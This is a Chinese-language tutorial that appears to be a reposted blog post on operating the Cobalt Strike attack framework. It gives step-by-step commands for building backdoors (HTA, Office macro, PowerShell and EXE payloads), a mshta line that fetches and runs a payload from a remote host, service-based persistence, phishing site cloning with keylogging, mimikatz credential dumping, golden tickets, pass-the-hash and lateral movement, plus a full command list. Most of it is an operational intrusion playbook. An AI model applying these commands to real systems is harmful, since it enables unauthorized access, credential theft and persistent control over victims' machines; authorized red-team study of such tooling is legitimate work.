CobaltStrike的使用
目錄
CobaltStrike
CobaltStrike的安裝
CobaltStrike的使用
CobaltStrike模塊
創建-Listener
創建攻擊Attacks(生成后門)
HTML Application
MS Office Macro
Payload Generator
Windows Executable?&?Windows Executable(S)
創建攻擊Attacks(釣魚攻擊)
克隆網站
信息搜集
視圖View
對被控主機的操作
抓取hash和dump明文密碼
提權(Elevate)
利用被控主機建立Socks4代理
進程列表(注入進程,鍵盤監控)
瀏覽器代理Browser Pivot
生成黃金票據注入當前會話(Golden Ticket)
憑證轉換(Make Token)
端口掃描
哈希傳遞攻擊或SSH遠程登錄
導入并執行本地的PowerShell腳本
Beacon TCP的使用
Beacon SMB的使用
CobaltStrike常見命令
CobaltStrike
CobaltStrike是一款滲透測試神器,被業界人稱為CS神器。CobaltStrike分為客戶端與服務端,服務端是一個,客戶端可以有多個,可被團隊進行分布式協團操作。
CobaltStrike集成了端口轉發、服務掃描,自動化溢出,多模式端口監聽,windows exe 木馬生成,windows dll 木馬生成,java 木馬生成,office 宏病毒生成,木馬捆綁。釣魚攻擊包括:站點克隆,目標信息獲取,java 執行,瀏覽器自動攻擊等等強大的功能!
CobaltStrike的安裝
我這里以Kali安裝為例:
上傳到Kali中,解壓:tar -xzvf jdk-8u191-linux-x64.tar.gz 移動到opt目錄下: mv jdk1.8.0_191/ /opt/ 進入jdk目錄:cd /opt/jdk1.8.0_191 執行 vim ~/.bashrc , 并添加下列內容 # install JAVA JDK export JAVA_HOME=/opt/jdk1.8.0_191 export CLASSPATH=.:${JAVA_HOME}/lib export PATH=${JAVA_HOME}/bin:$PATH 保存退出 執行: source ~/.bashrc 執行: update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_191/bin/java 1 update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_191/bin/javac 1 update-alternatives --set java /opt/jdk1.8.0_191/bin/java update-alternatives --set javac /opt/jdk1.8.0_191/bin/javac 查看結果: update-alternatives --config java update-alternatives --config javac
安裝好了java之后,我們就去安裝CobalStrike了!
上傳到Kali中,解壓:unzip cobaltstrike-linux.zip 進入cobalstrike中:cd cobaltstrike-linux/
啟動服務端:
CobaltStrike一些主要文件功能如下:
agscript:擴展應用的腳本
c2lint:用于檢查profile的錯誤和異常
teamserver:服務器端啟動程序
cobaltstrike.jar:CobaltStrike核心程序
cobaltstrike.auth:用于客戶端和服務器端認證的文件,客戶端和服務端有一個一模一樣的
cobaltstrike.store:秘鑰證書存放文件
一些目錄作用如下:
data:用于保存當前TeamServer的一些數據
download:用于存放在目標機器下載的數據
upload:上傳文件的目錄
logs:日志文件,包括Web日志、Beacon日志、截圖日志、下載日志、鍵盤記錄日志等
third-party:第三方工具目錄
啟動服務端: ./teamserver 192.168.10.11 123456 #192.168.10.11是kali的ip地址,123456是密碼 后臺運行,關閉當前終端依然運行:nohup ./teamserver 192.168.10.11 123456 & 這里CobaltStrike默認監聽的是50050端口,如果我們想修改這個默認端口的話,可以打開teamserver文件,將其中的50050修改成任意一個端口號
啟動客戶端:
./cobaltstrike
這里host填kali的ip,密碼就是剛剛我們啟動的密碼。
啟動后的客戶端:
我們也可以打開windows下的cobaltstrike客戶端,然后把ip設置為我們的啟動時候的ip即可。
CobaltStrike的使用
CobaltStrike模塊
New Connection:打開一個新連接窗口
Preferences:偏好設置,就是設置CobaltStrike外觀的
Visualization:將主機以不同的權限展示出來(主要以輸出結果的形式展示)
VPN Interfaces:設置VPN接口
Listeners:創建-
Script Interfaces:查看和加載CNA腳本
Close:關閉
創建-Listener
CobaltStrike的內置-為Beacon,外置-為Foreign。CobaltStrike的Beacon支持異步通信和交互式通信。
點擊左上方CobaltStrike選項——>在下拉框中選擇 Listeners ——>在下方彈出區域中單機add
name:為-名字,可任意 payload:payload類型 HTTP Hosts: shell反彈的主機,也就是我們kali的ip HTTP Hosts(Stager): Stager的馬請求下載payload的地址 HTTP Port(C2): C2監聽的端口
CobaltStrike4.0目前有以下8種Payload選項,如下:
內部的Listener
windows/beacon_dns/reverse_dns_txt
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_bind_tcp
windows/beacon_bind_pipe
外部的Listener
windows/foreign/reverse_http
windows/foreign/reverse_https
External
windows/beacon_extc2
Beacon為內置的Listener,即在目標主機執行相應的payload,獲取shell到CS上;其中包含DNS、HTTP、HTTPS、SMB。Beacon可以選擇通過DNS還是HTTP協議出口網絡,你甚至可以在使用Beacon通訊過程中切換HTTP和DNS。其支持多主機連接,部署好Beacon后提交一個要連回的域名或主機的列表,Beacon將通過這些主機輪詢。目標網絡的防護團隊必須攔截所有的列表中的主機才可中斷和其網絡的通訊。通過種種方式獲取shell以后(比如直接運行生成的exe),就可以使用Beacon了。
Foreign為外部結合的Listener,常用于MSF的結合,例如獲取meterpreter到MSF上。
關于DNS Beacon的使用:CobaltStrike中DNS Beacon的使用
創建攻擊Attacks(生成后門)
點擊中間的攻擊——>生成后門
這里Attacks有幾種,如下:
HTML Application ?生成一個惡意HTML Application木馬,后綴格式為 .hta。通過HTML調用其他語言的應用組件進行攻擊,提供了 可執行文件、PowerShell、VBA三種方法。
MS Office Macro ? ?生成office宏病毒文件;
Payload Generator ? ?生成各種語言版本的payload,可以生成基于C、C#、COM Scriptlet、Java、Perl、PowerShell、Python、Ruby、VBA等的payload
Windows Executable 生成32位或64位的exe和基于服務的exe、DLL等后門程序
Windows Executable(S) 用于生成一個exe可執行文件,其中包含Beacon的完整payload,不需要階段性的請求。與Windows Executable模塊相比,該模塊額外提供了代理設置,以便在較為苛刻的環境中進行滲透測試。該模塊還支持powershell腳本,可用于將Stageless Payload注入內存
HTML Application
HTML Application用于生成hta類型的文件。HTA是HTML Application的縮寫(HTML應用程序),是軟件開發的新概念,直接將HTML保存成HTA的格式,就是一個獨立的應用軟件,與VB、C++等程序語言所設計的軟件界面沒什么差別。HTML Application有三種類型的生成方式,測試發現,只有powershell方式生成的hta文件才能正常執行上線,Executable和VBA方式生成的hta文件執行的時候提示當前頁面的腳本發生錯誤。
基于PowerShell方式生成的hta文件,執行上線
執行mshta上線成功:mshta http://xx.xx.xx.xx/download/file.ext
基于Executable方式生成的hta文件,執行報錯如下
基于VBA方式生成的hta文件,執行報錯如下
MS Office Macro
攻擊——>生成后門——>MS Office Macro
然后選擇一個-,點擊Generate
然后點擊Copy Macro
然后打開word編輯器,點擊視圖,然后點擊宏
隨便輸入一個宏名,點擊創建
先清除這里面的所有代碼,然后復制CobaltStrike生成的代碼,保存退出。
將該文檔發給其他人,只要他是用word打開,并且開啟了宏,我們的CS就會收到彈回來的shell,進程名是rundll32.exe。
word開啟禁用宏:文件——>選項——>信任中心——>信任中心設置
Payload Generator
這個模塊用于生成各種語言版本的shellcode,然后用其他語言進行編譯生成,可參考:MSF木馬的免殺(三)
這里主要講兩個payload:Powershell 和 PowerShell Command 。這兩個都是利用powershell進行上線。
PowerShell
選擇該payload會生成一個payload.ps1文件,可以選擇如下方式上線
powershell下
Import-Module .\payload.ps1 或 .\payload.ps1
cmd下
powershell Import-Module .\payload.ps1 或 powershell .\payload.ps1
PowerShell Command
選擇該payload會生成一個payload.txt文件,可以選擇如下方式上線:
直接復制該文件內容在cmd下運行即可上線
或者也可只保留該文件的base64字段,然后執行如下命令上線
如果是執行當前路徑 powershell;$a=Get-Content payload.txt;powershell -enc $a 如果是執行指定路徑 powershell;$a=Get-Content -Path "E:\payload.txt";powershell -enc $a
Windows Executable?&?Windows Executable(S)
這兩個模塊直接用于生成可執行的 exe 文件或 dll 文件。Windows Executable是生成Stager類型的馬,而Windows?Executable(S) 是生成Stageless類型的馬。那Stager和Stageless有啥區別呢?
Stager是分階段傳送Payload。分階段啥意思呢?就是我們生成的Stager馬其實是一個小程序,用于從服務器端下載我們真正的shellcode。分階段在很多時候是很有必要的,因為很多場景對于能加載進內存并成功漏洞利用后執行的數據大小存在嚴格限制。所以這種時候,我們就不得不利用分階段傳送了。如果不需要分階段的話,可以在C2的擴展文件里面把?host_stage 選項設置為 false。
而Stageless是完整的木馬,后續不需要再向服務器端請求shellcode。所以使用這種方法生成的木馬會比Stager生成的木馬體積要大。但是這種木馬有助于避免反溯源,因為如果開啟了分階段傳送,任何人都能連接到你的C2服務器請求payload,并分析payload中的配置信息。在CobaltStrike4.0及以后的版本中,后滲透和橫向移動絕大部分是使用的Stageless類型的木馬。
Windowss Executable(S)相比于Windows?Executable,其中包含Beacon的完整payload,不需要階段性的請求,該模塊額外提供了代理設置,以便在較為苛刻的環境中進行滲透測試。該模塊還支持powershell腳本,可用于將Stageless Payload注入內存。
注意,生成的Windows Service EXE生成的木馬,直接雙擊是不會返回session的。需要以創建服務的方式啟動,才會返回session。
#注意,等號(=)后面要有空格 sc create autoRunBackDoor binPath= "cmd.exe /c C:\users\administrator\desktop\cs.exe" start= auto DisplayName= autoRunBackDoor #開啟某個系統服務 sc start autoRunBackDoor #停止某個系統服務 sc stop autoRunBackDoor # 刪除某個系統服務 sc delete service_name
創建攻擊Attacks(釣魚攻擊)
點擊中間的Attacks——>Web Drive-by(網站釣魚攻擊)
web服務管理 ? ?對開啟的web服務進行管理;
克隆網站 ? ? ? 克隆網站,可以記錄受害者提交的數據;
文件下載 ?提供一個本地文件下載,可以修改Mime信息。可以配合DNS欺騙實現掛馬效果使用
Scripted Web Delivery(S)? ? ? ? 基于Web的攻擊測試腳本,自動生成可執行的payload ,通常用這個模塊來生成powershell命令反彈shell
簽名Applet攻擊 ? ? ? ? ? ? ? ? 啟動一個Web服務以提供自簽名Java Applet的運行環境;
智能攻擊 ? ? ? ? ? ? ? ? ? ?自動檢測Java版本并利用已知的exploits繞過security;
信息搜集 ? ? ? ? ? ? ?用來獲取一些系統信息,比如系統版本,Flash版本,瀏覽器版本等。
克隆網站
該模塊用來克隆一個網站,來獲取用戶的鍵盤記錄
然后訪問URL
cs的web日志可以查看到目標訪問的鍵盤記錄
信息搜集
該模塊用來獲取用戶的系統信息、瀏覽器信息。
然后只要目標訪問我們的這個鏈接,就會自動跳轉到百度,并且我們的cs可以獲取到目標系統和瀏覽器的信息
視圖View
點擊中間的View
Applications 顯示受害者機器的應用信息;
Credentials ?顯示受害者機器的憑證信息,通過hashdump和mimikatz獲取的密碼都保存在這里;
Downloads 查看從被控機器上下載的文件;
Event Log ? ?可以看到事件日志,清楚的看到系統的事件,并且團隊可以在這里聊天;
Keystrokes ?查看鍵盤記錄;
Proxy Pivots ? 查看代理信息;
Screenshots ? 查看屏幕截圖;
Script Console ? ?在這里可以加載各種腳本以增強功能,腳本地址:https://github.com/rsmudge/cortana-scripts
Targets ? ?查看目標;
Web Log 查看web日志。
對被控主機的操作
Interact 打開beacon Access dump hashes 獲取hash Elevate 提權 Golden Ticket 生成黃金票據注入當前會話 MAke token 憑證轉換 Run Mimikatz 運行 Mimikatz Spawn As 用其他用戶生成Cobalt Strike的beacon Explore Browser Pivot 劫持目標瀏覽器進程 Desktop(VNC) 桌面交互 File Browser 文件瀏覽器 Net View 命令Net View Port scan 端口掃描 Process list 進程列表 Screenshot 截圖 Pivoting SOCKS Server 代理服務 Listener 反向端口轉發 Deploy VPN 部署VPN Spawn 新的通訊模式并生成會話 Session 會話管理,刪除,心跳時間,退出,備注
抓取hash和dump明文密碼
這兩項功能都需要管理員權限,如果權限不足,先提權
抓取密碼哈希:右鍵被控主機——>Access——>Dump Hashes
利用mimikatz抓取明文密碼:右鍵被控主機——>Access——>Run Mimikatz
抓取密碼哈希,也可以直接輸入:hashdump
使用mimikatz抓取明文密碼,也可以直接輸入:logonpasswords
抓取完之后,點擊憑證信息,就會顯示我們抓取過的哈希或者明文。這里我們也可以手動添加或修改憑證信息
提權(Elevate)
當獲取的當前權限不夠時,可以使用提權功能
右鍵被控主機——>Access——>Elevate
親測Windows Server 2008R2 、Win7?及以下系統可用。Win10不可用
默認有三個提權payload可以使用,分別是MS14-058、uac-dll、uac-token-duplication 。
我們選中MS14-058,點擊Launch
之后就彈回來一個system權限的beacon
我們也可以自己加入一些提權腳本進去。在Github上有一個提權工具包,使用這個提權工具包可以增加幾種提權方法:GitHub - rsmudge/ElevateKit: The Elevate Kit demonstrates how to use third-party privilege escalation attacks with Cobalt Strike's Beacon payload.? ? 。我們下載好該提權工具包后
如下,
再打開我們的提權,可以看到多了幾種提權方式了
利用被控主機建立Socks4代理
當我們控制的主機是一臺位于公網和內網邊界的服務器 ,我們想利用該主機繼續對內網進行滲透,于是,我們可以利用CS建立socks4A代理
右鍵被控主機——>Pivoting——>SOCKS Server
這里是SOCKS代理運行的端口,任意輸入一個未占用的端口即可,默認CS會給出一個,我們直接點擊Launch即可。
于是,我們在自己的主機上設置Socks4代理。代理ip是我們CS服務端的ip,端口即是 38588。
如果我們想查看整個CS代理的設置,可以點擊View——>Proxy Pivots
然后我們可以直接在瀏覽器設置socks4代理
或者可以點擊Tunnel,然后會給我們一個MSF的代理:setg Proxies socks4:xx.xx.xx.xx:38588
進程列表(注入進程,鍵盤監控)
右鍵被控主機——>Explore——>Process List
即可列出進程列表
選中該進程,Kill為殺死該進程,Refresh為刷新該進程,Inject?則是把beacon注入進程,Log Keystrokes為鍵盤記錄,Screenshot 為截圖,Stea Token為竊取運行指定程序的用戶令牌
這里著重講一下注入進程和鍵盤記錄
Inject注入進程
選擇進程,點擊Inject,隨后選擇-,點擊choose,即可發現CobaltStrike彈回了目標機的一個新會話,這個會話就是成功注入到某進程的beacon會話。該功能可以把你的beacon會話注入到另外一個程序之中,注入之后,除非那個正常進程被殺死了,否則我們就一直可以控制該主機了。
inject 進程PID 進程位數 監聽
鍵盤記錄
任意選擇一個進程,點擊Log Keystrokes,即可監聽該主機的鍵盤記錄
keylogger 進程PID 進程位數
查看鍵盤記錄結果:點擊鑰匙一樣的按鈕,就可以在底下看到鍵盤記錄的詳細了,會監聽所有的鍵盤記錄,而不只是選中的進程的鍵盤記錄
鍵盤監聽記錄,也可以直接輸入?keylogger
瀏覽器代理Browser Pivot
使用瀏覽器代理功能,我們可以注入到目標機器的瀏覽器進程中。然后在本地瀏覽器中設置該代理,這樣,我們可以在本地瀏覽器上訪問目標機器瀏覽器已經登錄的網站,而不需要登錄。但是目前瀏覽器代理只支持IE瀏覽器。如下,目標主機的IE瀏覽器目前在訪問fofa,并且已登錄。現在我們想利用瀏覽器代理在本地利用目標主機身份進行訪問。
選中目標,郵件瀏覽器代理,然后選中IE瀏覽器的進程
這里看到IE瀏覽器有兩個進程,分別是 6436和6544,我們隨便選中一個即可。我這里選擇 6544進程,然后下面會有一個默認的代理服務端口。點擊開始
可以看到命令行如下:browserpivot 6544 x86
然后視圖代理信息可以看到剛剛建立的瀏覽器代理。這里的意思是,TeamServer監聽59398和26193端口。流程是這樣,我們將流量給59398端口,59398端口將流量給26193端口,26193將流量給目標主機的26193端口。
我們這里代理設置TeamServer服務器的ip和59398端口即可。
訪問Fofa,可以看到以目標身份登錄了網站。
生成黃金票據注入當前會話(Golden Ticket)
生成黃金票據的前提是我們已經獲得了krbtgt用戶的哈希:9ce0b40ed1caac7523a22d574b32deb2 。并且已經獲得一個以域用戶登錄的主機權限
右鍵當前獲得的主機——>Access——>Golden Ticket
在彈出來的對話框中輸入以下:
User:要偽造用戶名,這里我們一般填administrator
Domain:域名
Domain SID:域SID
Krbtgt Hash:krbtgt用戶的哈希
然后點擊Build即可
這是輸入框自動執行的mimikatz命令,如圖票據傳遞攻擊成功。我們查看域控的C盤,輸入如下命令,注意這里域控必須是主機名形式,而不能是ip
shell dir \\win2008.xie.com\c$
然后可以導出域內所有用戶的哈希了
憑證轉換(Make Token)
如果我們已經獲得了計算機的本地管理員或域管理員的賬號密碼,就可以使用此模塊生成令牌,此時生成的令牌具有指定用戶的身份。
rev2self: Revert to your original access token(還原到原始的訪問令牌)
make_token: Clone the current access token and set it up to pass the specified username?and password when you interact with network resources. This command does not
validate the credentials you provide and it has no effect on local actions.(克隆當前訪問令牌并將其設置為傳遞指定的用戶名以及與網絡資源交互時的密碼。 這個命令沒有
驗證您提供的憑據,并且它對本地操作沒有影響。)
psexec: Spawn a session on a remote host. This command generates an executable, copies it to the target, creates a service to run it, and cleans up after itself. You must specify which share (e.g., ADMIN$ or C$) to copy the file to。(在遠程主機上生成會話。 此命令生成一個可執行文件,將其復制到目標,創建一個服務來運行它,并在其本身之后進行清理。 您必須指定要將文件復制到哪個共享(例如,ADMIN$或C$。)
右鍵當前獲得的主機——>Access——>Make Token
輸入已經獲得了域用戶的賬號密碼和域名,點擊Build
日志框內的記錄,所以也可以直接輸入命令
rev2self #這一步可以省略 make_token xie\administrator P@ssword123 jump psexec 192.168.106.10 smb unlink 192.168.106.10 #取消連接
端口掃描
右鍵——>目標——>端口掃描,然后填入要掃描的端口和網段。這里我們也可以直接執行命令:
portscan 192.168.10.1-192.168.10.10 22,445 arp 1024 portscan 192.168.10.1-192.168.10.10 22,445 icmp 1024 portscan 192.168.10.1-192.168.10.10 22,445 none 1024 一般我們直接運行命令 portscan 192.168.1.0/24 22,445,1433,3306
掃完了之后,直接在控制臺就會有結果。
我們點擊視圖——>目標,就會出現網段中存活的主機。(這是通過端口掃描探測到的結果顯示的,要想這里顯示,必須得先進行掃描端口)
哈希傳遞攻擊或SSH遠程登錄
進行了上一步的端口掃描后,我們這里視圖——>目標就會有當前網段的存活主機。
對于Linux機器,如果我們知道賬號密碼的話,可以遠程SSH連接,并返回一個CS的session。
需要一臺服務器作為中繼才可以控制Linux服務器,我們這里先獲取到一個windows服務器的權限,然后進入windows服務器的beacon進行執行命令
可以兩種方式遠程連接:ssh?和? ssh-key
可以圖形化操作,也可以命令行操作:ssh? 192.168.10.13:22? root? root
對于Linux機器,也可以使用SSH公私鑰進行登錄,并返回一個CS的session。
需要一臺服務器作為中繼才可以控制Linux服務器,我們這里先獲取到一個windows服務器的權限,然后進入windows服務器的beacon進行執行命令
首先,將公鑰authorized_keys放到目標主機的/root/.ssh/目錄下
然后我們本地機器放私鑰,遠程連接
ssh-key 192.168.10.13:22 root e:\id_rsa
對于Windows機器,如果我們獲取到賬號和密碼(明文或者哈希),都可以進行遠程連接
遠程連接的前提是目標機器開放了445端口,然后CS會通過遠程連接開啟一個CS的seesion。可以用以下方式遠程連接:psexec 、psexec64、psexec_psh 、winrm?和?winrm64。實測使用?psexec_psh?成功率最高。
已經得到機器Win2008的密碼為:root (329153f560eb329c0e1deea55e88a1e9),現在想哈希傳遞Win2003機器。-為:test
如果知道知道密碼哈希的話: rev2self pth WIN2008\Administrator 329153f560eb329c0e1deea55e88a1e9 psexec的命令:jump psexec WIN2003 test psexec64的命令jump psexec64 WIN2003 test psexec_psh的命令:jump psexec_psh WIN2003 test winrm的命令:jump winrm WIN2003 test winrm64的命令: jump winrm64 WIN2003 test 如果是知道明文密碼的話: rev2self make_token WIN2008\Administrator root psexec的命令:jump psexec WIN2003 test psexec64的命令jump psexec64 WIN2003 test psexec_psh的命令:jump psexec_psh WIN2003 test winrm的命令:jump winrm WIN2003 test winrm64的命令: jump winrm64 WIN2003 test
如果遇到目標機器不出網的情況,則我們需要在已經被控的主機上建立一個listen,以此作為中繼。
然后攻擊的時候的-選擇我們剛剛用被控主機建立的listen即可。
當在目標主機執行了該木馬后,就可以看到上線了。我們可以在Beacon上用link
但是這樣會導致的一個后果就是,只要第一個被控主機掉線,通過該主機中繼打下的內網其他主機也都會掉線。
導入并執行本地的PowerShell腳本
powershell-import:該模塊可以將本地PowerShell腳本加載到目標系統的內存中,然后使用PowerShell執行所加載腳本中的方法
powershell:該模塊通過調用PowerShell.exe?來執行命令
powerpick:該命令可以不通過調用PowerShell.exe?來執行命令
powershell-import E:\PowerView.ps1 powershell Get-NetUser | select name
Beacon TCP的使用
我們打下了一個目標機器192.168.202.54,但是該機器不出網,我們現在想讓其上線cs。我們的思路是這樣的,通過配置代理,讓本地虛擬機可以訪問到目標機器。然后讓本地虛擬機上線cs,走bind_tcp去連接目標機器。
本地虛擬機:192.168.10.132
目標機器:192.168.10.128(不出網)
本地虛擬機上線cs,配置proxifier
使用本地虛擬機,使用exe或powershell方式上線cs(注意不要用派生的session)。
在win2008機器上配置好proxifier,如下
監聽bind_tcp
設置bind_tcp監聽方式,默認監聽42585端口,我們可以自己修改。
生成bind_tcp的木馬
將該木馬上傳到win7機器上,執行,可以看到,監聽了42585端口
然后可以在cs上上線的機器探測端口:
portscan 192.168.10.128 42585 none 64
在win2008機器上執行命令,可以看到win7正常上線
連接 connect 192.168.10.128 取消連接 unlink 192.168.10.128
點進去win7的session里面,輸入 sleep 1
Beacon SMB的使用
SMB Beacon使用命名管道與父級Beacon進行通訊,當兩個Beacons鏈接后,子Beacon從父Beacon獲取到任務并發送。因為鏈接的Beacons使用Windows命名管道進行通信,此流量封裝在SMB協議中,所以SMB Beacon相對隱蔽,繞防火墻時可能發揮奇效。
這張圖很好的詮釋了SMB beacon的工作流程。
SMB Beacon的使用條件:
具有 SMB Beacon 的主機必須接受 445 端口上的連接
只能鏈接由同一個 Cobalt Strike 實例管理的 Beacon
利用這種beacon橫移必須有目標主機的管理員組的權限或者說是擁有具有管理員組權限的憑據。
SMB Beacon的使用場景:
我們知道了目標機器的管理員賬號的明文密碼或密碼哈希。但是目標主機不出網,所以我們想利用SMB Beacon正向連接讓其上線。
還有一種使用場景是,在域環境中,我們已經得到一個域用戶的賬號密碼。由于在域中,默認域用戶可以登錄除域控外的所有主機。所以我們可以利用該域用戶與其他主機建立IPC連接,然后讓其他主機進行SMB Beacon上線。
首先,建立一個SMB Beacon的監聽:SMB_Beacon
利用明文密碼讓其上線SMB Beacon
先建立一個IPC連接,然后連接:
shell net use \\192.168.10.132 /u:administrator root jump psexec_psh 192.168.10.132 SMB_Beacon 取消連接 unlink 192.168.10.132 如果是域內 shell net use \\192.168.10.132 /u:xie\administrator root
利用密碼哈希上線SMB Beacon
rev2self pth WIN2003\Administrator 329153f560eb329c0e1deea55e88a1e9 jump psexec_psh 192.168.10.132 SMB_Beacon 取消連接 unlink 192.168.10.132
CobaltStrike常見命令
BeaconCommands =============== Command Description ------- ----------- browserpivot 注入受害者瀏覽器進程 bypassuac 繞過UAC cancel 取消正在進行的下載 cd 切換目錄 checkin 強制讓被控端回連一次 clear 清除beacon內部的任務隊列 connect Connect to a Beacon peerover TCP covertvpn 部署Covert VPN客戶端 cp 復制文件 dcsync 從DC中提取密碼哈希 desktop 遠程VNC dllinject 反射DLL注入進程 dllload 使用LoadLibrary將DLL加載到進程中 download 下載文件 downloads 列出正在進行的文件下載 drives 列出目標盤符 elevate 嘗試提權 execute 在目標上執行程序(無輸出) execute-assembly 在目標上內存中執行本地.NET程序 exit 退出beacon getprivs Enable system privileges oncurrent token getsystem 嘗試獲取SYSTEM權限 getuid 獲取用戶ID hashdump 轉儲密碼哈希值 help 幫助 inject 在特定進程中生成會話 jobkill 殺死一個后臺任務 jobs 列出后臺任務 kerberos_ccache_use 從ccache文件中導入票據應用于此會話 kerberos_ticket_purge 清除當前會話的票據 kerberos_ticket_use 從ticket文件中導入票據應用于此會話 keylogger 鍵盤記錄 kill 結束進程 link Connect to a Beacon peerover a named pipe logonpasswords 使用mimikatz轉儲憑據和哈希值 ls 列出文件 make_token 創建令牌以傳遞憑據 mimikatz 運行mimikatz mkdir 創建一個目錄 mode dns 使用DNS A作為通信通道(僅限DNS beacon) mode dns-txt 使用DNS TXT作為通信通道(僅限D beacon) mode dns6 使用DNS AAAA作為通信通道(僅限DNS beacon) mode http 使用HTTP作為通信通道 mv 移動文件 net net命令 note 備注 portscan 進行端口掃描 powerpick 通過Unmanaged PowerShell執行命令 powershell 通過powershell.exe執行命令 powershell-import 導入powershell腳本 ppid Set parent PID forspawned post-ex jobs ps 顯示進程列表 psexec Use a service to spawn asession on a host psexec_psh Use PowerShell to spawn asession on a host psinject 在特定進程中執行PowerShell命令 pth 使用Mimikatz進行傳遞哈希 pwd 當前目錄位置 reg Query the registry rev2self 恢復原始令牌 rm 刪除文件或文件夾 rportfwd 端口轉發 run 在目標上執行程序(返回輸出) runas 以另一個用戶權限執行程序 runasadmin 在高權限下執行程序 runu Execute a program underanother PID screenshot 屏幕截圖 setenv 設置環境變量 shell cmd執行命令 shinject 將shellcode注入進程 shspawn 生成進程并將shellcode注入其中 sleep 設置睡眠延遲時間 socks 啟動SOCKS4代理 socks stop 停止SOCKS4 spawn Spawn a session spawnas Spawn a session as anotheruser spawnto Set executable tospawn processes into spawnu Spawn a session underanother PID ssh 使用ssh連接遠程主機 ssh-key 使用密鑰連接遠程主機 steal_token 從進程中竊取令牌 timestomp 將一個文件時間戳應用到另一個文件 unlink Disconnect from parentBeacon upload 上傳文件 wdigest 使用mimikatz轉儲明文憑據 winrm 使用WinRM在主機上生成會話 wmi 使用WMI在主機上生成會話 argue 進程參數欺騙
如果想跟我一起討論的話,就快加入我的知識星球吧。星球里有一千多位同樣愛好安全技術的小伙伴一起交流!
Windows 網絡
版權聲明:本文內容由網絡用戶投稿,版權歸原作者所有,本站不擁有其著作權,亦不承擔相應法律責任。如果您發現本站中有涉嫌抄襲或描述失實的內容,請聯系我們jiasou666@gmail.com 處理,核實后本網站將在24小時內刪除侵權內容。